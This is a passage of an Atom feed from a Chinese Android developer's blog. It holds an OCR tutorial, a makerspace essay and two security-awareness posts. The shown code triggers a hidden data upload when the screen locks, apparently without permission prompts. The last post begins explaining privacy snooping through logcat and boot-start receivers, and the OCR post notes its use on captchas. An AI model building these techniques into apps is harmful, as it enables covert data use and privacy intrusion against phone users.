&lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; ScreenOnBroadcastReciver &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; BroadcastReceiver {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 93&lt;/span&gt; &lt;br /&gt;&lt;span style="color: #008080;"&gt; 94&lt;/span&gt;         @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt; 95&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onReceive(Context context, Intent intent) {&lt;br /&gt;&lt;span style="color: #008080;"&gt; 96&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt; 97&lt;/span&gt;             Log.i(LOG_TAG, "屏幕解开");&lt;br /&gt;&lt;span style="color: #008080;"&gt; 98&lt;/span&gt;             handler.removeCallbacks(r);&lt;br /&gt;&lt;span style="color: #008080;"&gt; 99&lt;/span&gt;             intent.setAction(Intent.ACTION_MAIN);  &lt;br /&gt;&lt;span style="color: #008080;"&gt;100&lt;/span&gt;             intent.addCategory(Intent.CATEGORY_HOME); &lt;br /&gt;&lt;span style="color: #008080;"&gt;101&lt;/span&gt;             intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);&lt;br /&gt;&lt;span style="color: #008080;"&gt;102&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;103&lt;/span&gt;             Log.i(LOG_TAG, "转向HOME");&lt;br /&gt;&lt;span style="color: #008080;"&gt;104&lt;/span&gt;             startActivity(intent);&lt;br /&gt;&lt;span style="color: #008080;"&gt;105&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;106&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt;107&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;108&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt;109&lt;/span&gt;     &lt;br /&gt;&lt;span style="color: #008080;"&gt;110&lt;/span&gt;     &lt;span style="color: #008000;"&gt;/**&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;111&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * 锁屏广播接收者&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;112&lt;/span&gt; &lt;span style="color: #008000;"&gt;     * &lt;/span&gt;&lt;span style="color: #808080;"&gt;@author&lt;/span&gt;&lt;span style="color: #008000;"&gt; hang&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;113&lt;/span&gt; &lt;span style="color: #008000;"&gt;     *&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;114&lt;/span&gt; &lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;span style="color: #008080;"&gt;115&lt;/span&gt;     &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; ScreenOFFBroadcastReciver &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; BroadcastReceiver {&lt;br /&gt;&lt;span style="color: #008080;"&gt;116&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;117&lt;/span&gt;         @Override&lt;br /&gt;&lt;span style="color: #008080;"&gt;118&lt;/span&gt;         &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;void&lt;/span&gt; onReceive(&lt;span style="color: #0000ff;"&gt;final&lt;/span&gt; Context context, Intent intent) {&lt;br /&gt;&lt;span style="color: #008080;"&gt;119&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;120&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;121&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;122&lt;/span&gt;             Log.i(LOG_TAG, "屏幕锁住");&lt;br /&gt;&lt;span style="color: #008080;"&gt;123&lt;/span&gt;             &lt;br /&gt;&lt;span style="color: #008080;"&gt;124&lt;/span&gt;             &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;500ms后开始执行上传数据&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008080;"&gt;125&lt;/span&gt;             handler.postDelayed(r, 500);&lt;br /&gt;&lt;span style="color: #008080;"&gt;126&lt;/span&gt;         }&lt;br /&gt;&lt;span style="color: #008080;"&gt;127&lt;/span&gt;         &lt;br /&gt;&lt;span style="color: #008080;"&gt;128&lt;/span&gt;     }&lt;br /&gt;&lt;span style="color: #008080;"&gt;129&lt;/span&gt; }&lt;/div&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: #ff9900;"&gt;三、效果&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;哈，运行下试试，关机。。。开机。。。锁屏。。解锁。。没发现什么反应啊。。。再看看程序管理。。Hack程序也没有任何权限提示啊。。。&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012011401311934.jpg" alt="" width="200" /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;真的这样吗？来看看log&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012011401322656.png" alt="" width="700" /&gt;&lt;/p&gt;&lt;p&gt;you see? 流量就这么悄悄的耗了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff0000;"&gt;本工程包地址：&lt;/span&gt;&lt;a href="http://files.cnblogs.com/hangxin1940/hack_0p_upload.zip"&gt;hack_0p_upload.zip&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="color: #ff9900;"&gt;结束语&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;这么流氓的伎俩，相信谁都不想碰到，google market也混乱的一塌糊涂，android app混乱的不成样子，大家还是擦亮双眼，安全，一定要注意的。&lt;/p&gt;&lt;p&gt;另外，关于开机启动的这个bug，貌似360的手机安全软件可以检测出来。其它的我没试，因为我很懒，我从来不装安全软件。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;最后，请关注我的 &lt;a href="http://www.cnblogs.com/hangxin1940/category/349235.html"&gt;抛砖引玉&lt;/a&gt; 系列，会有更多精彩内容&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span&gt;原创，转载请注明 &amp;nbsp;http://hangxin1940.cnblogs.com&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span&gt;&lt;strong&gt;这里仅当抛砖引玉，本人水平有限，难免有些疏漏或者错误，还请指正！！！&lt;/strong&gt;&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2322174.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2012/01/14/2322174.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2012/01/13/2321507.html</id><title type="text">Android OCR 之 tesseract</title><summary type="text">OCR属于CV的范畴，也就是计算机视觉，目前来看，除了opencv这个龙头老大，也就是hp开发的tesseract比较好用，虽然年头比较长了，但现在归google维护并托管在google code上了。现在有android版本的地址：http://code.google.com/p/tesseract-android-tools/这个版本得自己git 三个库 leptonica tesseract libjpeg ，我自己是编译成功了，但测试的时候native层总是crash。于是发现了tess的android的另一个分支 tess-two推荐linux上编译一、下载&amp;编译1、首先下载</summary><published>2012-01-13T05:29:00Z</published><updated>2012-01-13T05:29:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2012/01/13/2321507.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2012/01/13/2321507.html"/><content type="html">&lt;p&gt;OCR属于CV的范畴，也就是计算机视觉，目前来看，除了opencv这个龙头老大，也就是hp开发的tesseract比较好用，虽然年头比较长了，但现在归google维护并托管在google code上了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;现在有android版本的&lt;br /&gt;地址：http://code.google.com/p/tesseract-android-tools/&lt;/p&gt;&lt;p&gt;这个版本得自己git 三个库 leptonica &amp;nbsp;tesseract &amp;nbsp;libjpeg ，我自己是编译成功了，但测试的时候native层总是crash。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;于是发现了tess的android的另一个分支 tess-two&lt;/p&gt;&lt;p&gt;推荐linux上编译&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;一、下载&amp;amp;编译&lt;/p&gt;&lt;p&gt;1、首先下载tess-two&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;git clone git://github.com/rmtheis/tess-two tess&lt;/div&gt;&lt;p&gt;&lt;br /&gt;2、进入 tess目录，里面有三个项目，我们只需要进入tess-two就可以直接编译了&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;cd tess/tess-two&lt;br /&gt;ndk-build&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&amp;nbsp;3、编译好后，将src下的两个包以及libs导入到自己的项目就可以用啦&lt;/p&gt;&lt;p&gt;这里把我我把编译好后的东西放出来，用的话不用再编译了&lt;/p&gt;&lt;p&gt;下载：&lt;a href="http://files.cnblogs.com/hangxin1940/tess-two.zip"&gt;tess-two.zip&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;二、使用&lt;/p&gt;&lt;p&gt;tesseract 使用了 leptonica的图像处理库，对于图像处理还是比较强大的&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff0000;"&gt;Android官方地址:&lt;a href="http://code.google.com/p/tesseract-android-tools/"&gt;tesseract-android-tools&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff9900;"&gt;但它必须要一个匹配库，即tessdata，我们可以从官方拷贝，在前面git的项目里面tesseract源码目录有现成的tessdata可以用，对于中文，google code上也有下载，当然也可以自己训练不同语言的tessdata。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;包leptonica的类我们不必使用，只要使用tess包的类就行了&lt;/p&gt;&lt;p&gt;TessBaseAPI&lt;/p&gt;&lt;p&gt;使用时，首先创建TessBaseAPI对象&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;TessBaseAPI baseApi=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; TessBaseAPI();&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;初始化tess&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;android下面，tessdata肯定得放到sd卡里了&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;如果tessdata这个目录放在sd卡的根目录&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;那么path直接传入sd卡的目录&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;eng就是英文，关于语言，按ISO 639-3标准的代码就行，具体请移步wiki&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;baseApi.init("tessdata文件夹的父级目录", "eng");&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;options是为了缩放图片，这个酌情缩放，图片小的话可以不缩放&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;BitmapFactory.Options options=&lt;span style="color: #0000ff;"&gt;new&lt;/span&gt; BitmapFactory.Options();&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;缩小为原来的1/2&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;options.inSampleSize=2;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;bitmap，我这里是以流的形式，只要能形成Bitmap就行&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;Bitmap bitmap = BitmapFactory.decodeStream(instream,&lt;span style="color: #0000ff;"&gt;null&lt;/span&gt;,options); &lt;br /&gt;        instream.close();    &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;如果图片有Alpha值，那么最好设置一下&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;/*&lt;/span&gt;&lt;span style="color: #008000;"&gt;ExifInterface exif = new ExifInterface(filename)&lt;br /&gt;    int exifOrientation = exif.getAttributeInt(ExifInterface.TAG_ORIENTATION, ExifInterface.ORIENTATION_NORMAL); &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    int rotate = 0;&lt;br /&gt;    switch (exifOrientation) {&lt;br /&gt;        case ExifInterface.ORIENTATION_ROTATE_90:&lt;br /&gt;            rotate = 90;&lt;br /&gt;            break;&lt;br /&gt;        case ExifInterface.ORIENTATION_ROTATE_180:&lt;br /&gt;            rotate = 180;&lt;br /&gt;            break;&lt;br /&gt;        case ExifInterface.ORIENTATION_ROTATE_270:&lt;br /&gt;            rotate = 270;&lt;br /&gt;            break;&lt;br /&gt;    } &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    if (rotate != 0) { &lt;br /&gt;&lt;br /&gt;        // Getting width &amp;amp; height of the given image.&lt;br /&gt;        int w = bitmap.getWidth();&lt;br /&gt;        int h = bitmap.getHeight(); &lt;br /&gt;&lt;br /&gt;        // Setting pre rotate&lt;br /&gt;        Matrix mtx = new Matrix();&lt;br /&gt;        mtx.preRotate(rotate); &lt;br /&gt;&lt;br /&gt;        // Rotating Bitmap&lt;br /&gt;        bitmap = Bitmap.createBitmap(bitmap, 0, 0, w, h, mtx, false);&lt;br /&gt;        // tesseract req. ARGB_8888&lt;br /&gt;        bitmap = bitmap.copy(Bitmap.Config.ARGB_8888, true);&lt;br /&gt;    } &lt;/span&gt;&lt;span style="color: #008000;"&gt;*/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;设置要ocr的图片bitmap&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;baseApi.setImage(bitmap);&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;根据Init的语言，获得ocr后的字符串&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;String text= baseApi.getUTF8Text();&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;释放bitmap&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;baseApi.clear();&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;如果连续ocr多张图片，这个end可以不调用，但每次ocr之后，必须调用clear来对bitmap进行释放&lt;br /&gt;&lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;释放native内存&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;baseApi.end();&lt;br /&gt;&lt;br /&gt;&lt;span style="color: #008000;"&gt;//////////////////////////&lt;/span&gt;&lt;span style="color: #008000;"&gt;/其它方法&lt;/span&gt;&lt;span style="color: #008000;"&gt;//////////////////////////////////&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;        &lt;br /&gt;&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;获取字符边框&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;        &lt;br /&gt;        Pixa pixa= baseApi.getCharacters();&lt;br /&gt;        &lt;br /&gt;        &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;同上，这个是整段文字的边框&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;        baseApi.getRegions();&lt;br /&gt;        &lt;br /&gt;        &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;同上，只不过这里是条线&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;        baseApi.getTextlines();&lt;br /&gt;        &lt;br /&gt;        &lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;剩下的自己测试吧。&lt;br /&gt;        &lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;转为rect数组 ，之后，可以很方便的在图片上框出方框&lt;br /&gt;        &lt;/span&gt;&lt;span style="color: #008000;"&gt;//&lt;/span&gt;&lt;span style="color: #008000;"&gt;怎么框由你&lt;/span&gt;&lt;span style="color: #008000;"&gt;&lt;br /&gt;&lt;/span&gt;        ArrayList&amp;lt;Rect&amp;gt; rects=pixa.getBoxRects();&lt;/div&gt;&lt;p&gt;&lt;br /&gt;结束。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;android下ocr就这么简单，好好使用第三方库就行了。&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff9900;"&gt;ps:在使用这套库对12306的验证码进行ocr时，耗时50ms左右。&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2321507.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2012/01/13/2321507.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2012/01/04/2311689.html</id><title type="text">2012  祭奠 * 发展 * 创新</title><summary type="text">发展 * 创新2012 元旦，参加北京创客空间的跨年活动，地点位于青公馆，属于青年志的地盘。活动的内容就是与mit（米国麻省理工）的miter（麻省理工的黑客/创客）们交流与分享经验。这是个老胡同的四合院，艺术范儿浓厚，与会的十来人却都是一些geeker，技术狂热爱好者。josh，mit 的创客骨干，从computer hack到hardware hack无所不能，他正在介绍mit的机器人项目cathy，mit的miter成员，很有意思的一个妹子。正在介绍mit的某个机器人竞赛这次会议给我的冲击很大，不是mit的人有多nb，也不是国内的圈子有多落后。对于创新，老外的思维是把一件事想的很简单，敢</summary><published>2012-01-04T02:48:00Z</published><updated>2012-01-04T02:48:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2012/01/04/2311689.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2012/01/04/2311689.html"/><content type="html">&lt;p&gt;&lt;span style="color: #ff6600; font-size: 16px;"&gt;&lt;strong&gt;发展 * 创新&lt;/strong&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;2012 元旦，参加&lt;/span&gt;&lt;a id="url_1" href="http://bjmakerspace.com/" target="_blank"&gt;北京创客空间&lt;/a&gt;&lt;span&gt;&amp;nbsp;的跨年活动，地点位于青公馆，属于&lt;/span&gt;&lt;a id="url_2" href="http://www.openyouthology.com/" target="_blank"&gt;青年志&lt;/a&gt;&lt;span&gt;&amp;nbsp;的地盘。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;活动的内容就是与mit（米国麻省理工）的miter（麻省理工的黑客/创客）们交流与分享经验。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012010410313290.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;这是个老胡同的四合院，艺术范儿浓厚，与会的十来人却都是一些geeker，技术狂热爱好者。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012010410432248.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;josh，mit 的创客骨干，从computer hack到hardware hack无所不能，他正在介绍mit的机器人项目&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012010410445910.jpg" alt="" width="500" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;cathy，mit的miter成员，很有意思的一个妹子。正在介绍mit的某个机器人竞赛&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;这次会议给我的冲击很大，不是mit的人有多nb，也不是国内的圈子有多落后。对于创新，老外的思维是把一件事想的很简单，敢做。国内呢，每个人把事都想得很复杂，思前顾后不敢做。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;10年德国黑帽大会中破解中国原子锁都能吸引眼球，可见国内开锁师傅各个都是实质上的黑客了。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;在地铁上的时候cathy对我说他们美国创新不行，那句话当时震撼了周围每个乘客，也确实是，《make》杂志介绍国外geek把电子乐高搭成卫星发射到低轨道的时候，国内&lt;/span&gt;&lt;a id="url_3" href="http://kechuang.org/" target="_blank"&gt;科创论坛&lt;/a&gt;&lt;span&gt;&amp;nbsp;的火箭圈子发展的如火如荼，民间火箭推进技术不亚于国外民间。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;什么kinect机器人、3D打印机确实已经比较俗了，我们北京创客空间下一步是做个Android手机遥控的四旋翼飞行器。这些开源项目一抓一大把，我总感觉这是在重复造轮子，有意义么。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;&lt;span style="font-size: 16px; color: #ff6600;"&gt;祭奠&lt;/span&gt;&lt;/strong&gt;&lt;br /&gt;&lt;span&gt;会议结束回到家很晚了，第二天中午起床，便得知&lt;/span&gt;&lt;a id="url_4" href="http://baike.baidu.com/view/7440.htm#sub5120082" target="_blank"&gt;张孝祥&lt;/a&gt;&lt;span&gt;&amp;nbsp;老师去世的消息，很震惊，饭也没吃便于朋友去了八宝山。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;38岁，正是事业有成的时候，对于国内it事业的发展，他有着不可磨灭的丰功伟绩。2011年12月31日就这么走了。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;我到北京以来，他曾给予我很多鼓励，让我充满信心的在it界发展。&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;就在我等待着他邮件的时候，却等来了讣告。最后一封电邮，我会永远保存。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;img src="http://pic002.cnblogs.com/images/2012/31082/2012010410464287.png" alt="" /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span&gt;-------------------------------------------------------------------------------------------&lt;/span&gt;&lt;br /&gt;&lt;span&gt;哎。程序员是悲催的。。。&lt;/span&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/hangxin1940/aggbug/2311689.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/hangxin1940/archive/2012/01/04/2311689.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/hangxin1940/archive/2011/12/30/2306863.html</id><title type="text">抛砖引玉 之 谁动了我的隐私(android用户隐私窥探)</title><summary type="text">用户的隐私永远是第一位的，用户的隐私也是最值钱的。最近各大门户相继被泄露。。。保管好自己的密码就行了这里我就扯一下android下面搞用户隐私的方法，也算是android的一个疏忽。但最主要的，还是用户在安装apk时对权限警告的无视，就犹如我们所有社区的密码设为相同一样。罪魁祸首就是logcat。以及一个权限检测的bug.1、开机启动 程序如何开机启动？那就是接受一个关于开机的广播，具体流程是这样的，首先在 清单文件 声明一个权限 &lt;uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED&amp;q</summary><published>2011-12-29T16:53:00Z</published><updated>2011-12-29T16:53:00Z</updated><author><name>黑暗伯爵</name><uri>http://www.cnblogs.com/hangxin1940/</uri></author><link rel="alternate" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/30/2306863.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/hangxin1940/archive/2011/12/30/2306863.html"/><content type="html">&lt;p&gt;用户的隐私永远是第一位的，用户的隐私也是最值钱的。&lt;/p&gt;&lt;p&gt;最近各大门户相继被泄露。。。保管好自己的密码就行了&lt;/p&gt;&lt;p&gt;这里我就扯一下android下面搞用户隐私的方法，也算是android的一个疏忽。&lt;/p&gt;&lt;p&gt;&lt;span style="color: #ff0000; font-size: 16px;"&gt;但最主要的，还是用户在安装apk时对权限警告的无视，就犹如我们所有社区的密码设为相同一样。&lt;/span&gt;&lt;/p&gt;&lt;p&gt;罪魁祸首就是logcat。以及一个权限检测的bug.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;&lt;span style="font-size: 16px;"&gt;1、开机启动&lt;/span&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;程序如何开机启动？那就是接受一个关于开机的广播，具体流程是这样的，首先在 清单文件 声明一个权限&amp;nbsp;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;uses-permission &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="android.permission.RECEIVE_BOOT_COMPLETED"&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;    &lt;/div&gt;&lt;p&gt;然后就是写receiver以及在清单中设置了。&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;        &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;receiver &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="org.igeek.hack.reciver.HackReceiver"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;intent-filter &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:priority &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="1000"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;                 &lt;span style="color: #0000ff;"&gt;&amp;lt;&lt;/span&gt;&lt;span style="color: #800000;"&gt;action &lt;/span&gt;&lt;span style="color: #ff0000;"&gt;android:name &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;="android.intent.action.BOOT_COMPLETED"&lt;/span&gt;&lt;span style="color: #0000ff;"&gt;/&amp;gt;&lt;/span&gt;&lt;br /&gt;             &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;intent-filter &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;br /&gt;           &lt;span style="color: #0000ff;"&gt;&amp;lt;/&lt;/span&gt;&lt;span style="color: #800000;"&gt;receiver &lt;/span&gt;&lt;span style="color: #0000ff;"&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;div style="background-color: #F5F5F5;border: 1px solid #CCCCCC;padding:10px;"&gt;&lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: #0000ff;"&gt;class&lt;/span&gt; HackReceiver &lt;span style="color: #0000ff;"&gt;extends&lt;/span&gt; BroadcastReceiver {&lt;br /&gt;&lt;br /&gt;    @Override&lt;br /&gt;    &lt;span style="color: #0000ff;"&gt;public&lt;/span&gt; &lt;span style="color: 